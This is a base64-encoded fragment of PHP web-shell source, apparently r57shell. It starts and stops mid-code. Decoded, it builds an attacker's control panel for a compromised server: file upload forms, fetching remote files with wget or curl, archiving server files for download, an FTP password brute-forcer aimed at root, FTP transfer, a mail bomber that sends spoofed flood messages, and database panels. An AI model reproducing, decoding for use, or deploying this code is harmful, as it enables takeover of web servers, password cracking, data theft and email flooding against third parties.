JHRhYmxlX2VuZDE7DQp9DQppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHxAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMzAnKS4kdGFibGVfdXAyLmRpdignaWQzMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUwJyw4NSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ25mMSBpZD1uZjEnLDAsJzEnKS5pbigndGV4dCcsJ25ld19uYW1lJyw4MiwnJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fEBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSl7DQplY2hvICI8Zm9ybSBuYW1lPXVwbG9hZCBtZXRob2Q9UE9TVCBFTkNUWVBFPW11bHRpcGFydC9mb3JtLWRhdGE+IjsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJ011bHR5ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUnXSwnaWQzNCcpLiR0YWJsZV91cDIuZGl2KCdpZDM0JykuJHRzOw0KZWNobyAiPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTInLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMycsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU0JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTUnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNicsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU3JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTgnLDM1LCcnKSk7DQplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOScsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMCcsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMScsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMicsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxMycsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxNCcsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUxNScsMzUsJycpKTsNCmVjaG8gc3IoMTUsJycsaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLiI8L3RkPjwvdHI+IjsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCiRzZWxlY3Q9Jyc7DQppZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwoQGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpICYmQGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSkpeyRzZWxlY3QgPSAiPG9wdGlvbiB2YWx1ZT1cImZvcGVuXCI+Zm9wZW48L29wdGlvbj4iO30NCmlmKCEkc2FmZV9tb2RlKXsNCmlmKHdoaWNoKCd3Z2V0JykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d2dldDwvb3B0aW9uPiI7fQ0KaWYod2hpY2goJ2ZldGNoJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+Ijt9DQppZih3aGljaCgnbHlueCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwibHlueFwiPmx5bng8L29wdGlvbj4iO30NCmlmKHdoaWNoKCdsaW5rcycpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwibGlua3NcIj5saW5rczwvb3B0aW9uPiI7fQ0KaWYod2hpY2goJ2N1cmwnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImN1cmxcIj5jdXJsPC9vcHRpb24+Ijt9DQppZih3aGljaCgnR0VUJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJHRVRcIj5HRVQ8L29wdGlvbj4iO30NCn0NCmlmKCRzZWxlY3Qpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE1J10sJ2lkMzEnKS4kdGFibGVfdXAyLmRpdignaWQzMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ3aXRoXCI+Ii4kc2VsZWN0DQouIjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywncmVtX2ZpbGUnLDc4LCdodHRwOi8vJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDEwNSwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NiddLCdpZDMyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkX25hbWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Rvd25sb2FkX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE0J10pKTsNCiRhcmggPSAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTInXTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkgeyRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzt9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHskYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzt9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIHskYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzt9DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoImZ0cF9jb25uZWN0Iikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTMnXSwnaWQzMycpLiR0YWJsZV91cDIuZGl2KCdpZDMzJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfYnJ1dGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdwYXNzd2QnLDEpLiI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OSddLiIgKCA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiI8L2E+ICk8L2ZvbnQ+Iik7DQplY2hvIHNyKDI1LCIiLGluKCdjaGVja2JveCcsJ3JldmVyc2UgaWQ9cmV2ZXJzZScsMCwnMScsMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMSddKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdkaWMnLDApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJyb290IikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGljdGlvbmFyeScsMCwoIWVtcHR5KCRfUE9TVFsnZGljdGlvbmFyeSddKT8oJF9QT1NUWydkaWN0aW9uYXJ5J10pOigkZGlyLicvcGFzc3cuZGljJykpKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODcnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooImFub255bW91cyIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDIwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAwJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMjAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX3VwJykpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKEBmdW5jdGlvbl9leGlzdHMoIm1haWwiKSl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDM1JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDMnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3RvJywzMCwoIWVtcHR5KCRfUE9TVFsndG8nXSk/KCRfUE9TVFsndG8nXSk6KCJoYWNrZXJAbWFpbC5jb20iKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21haWwnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA4J10uJGFycm93LiI8L2I+IiwnPHRleHRhcmVhIG5hbWU9dGV4dCBjb2xzPTIyIHJvd3M9Mj4nLighZW1wdHkoJF9QT1NUWyd0ZXh0J10pPygkX1BPU1RbJ3RleHQnXSk6KCJtYWlsIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gcjU3c2hlbGwiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywzMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2JvbWJlcicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Zyb20nLDMwLCghZW1wdHkoJF9QT1NUWydmcm9tJ10pPygkX1BPU1RbJ2Zyb20nXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDgnXS4kYXJyb3cuIjwvYj4iLCc8dGV4dGFyZWEgbmFtZT10ZXh0IGNvbHM9MjIgcm93cz0xPicuKCFlbXB0eSgkX1BPU1RbJ3RleHQnXSk/KCRfUE9TVFsndGV4dCddKTooImZsb29kIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsNCmVjaG8gc3IoMjUsIjxiPkZsb29kIi4kYXJyb3cuIjwvYj4iLGluKCdpbnQnLCdtYWlsX2Zsb29kJyw1LCghZW1wdHkoJF9QT1NUWydtYWlsX2Zsb29kJ10pPygkX1BPU1RbJ21haWxfZmxvb2QnXSk6MTAwKSkud3MoNCkuIjxiPlNpemUoa2IpIi4kYXJyb3cuIjwvYj4iLmluKCdpbnQnLCdtYWlsX3NpemUnLDUsKCFlbXB0eSgkX1BPU1RbJ21haWxfc2l6ZSddKT8oJF9QT1NUWydtYWlsX3NpemUnXSk6MTApKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFfb24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0IC49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZVNRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xlPC9vcHRpb24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDM2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzYnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNCddLiI8L2Rpdj48L2I+P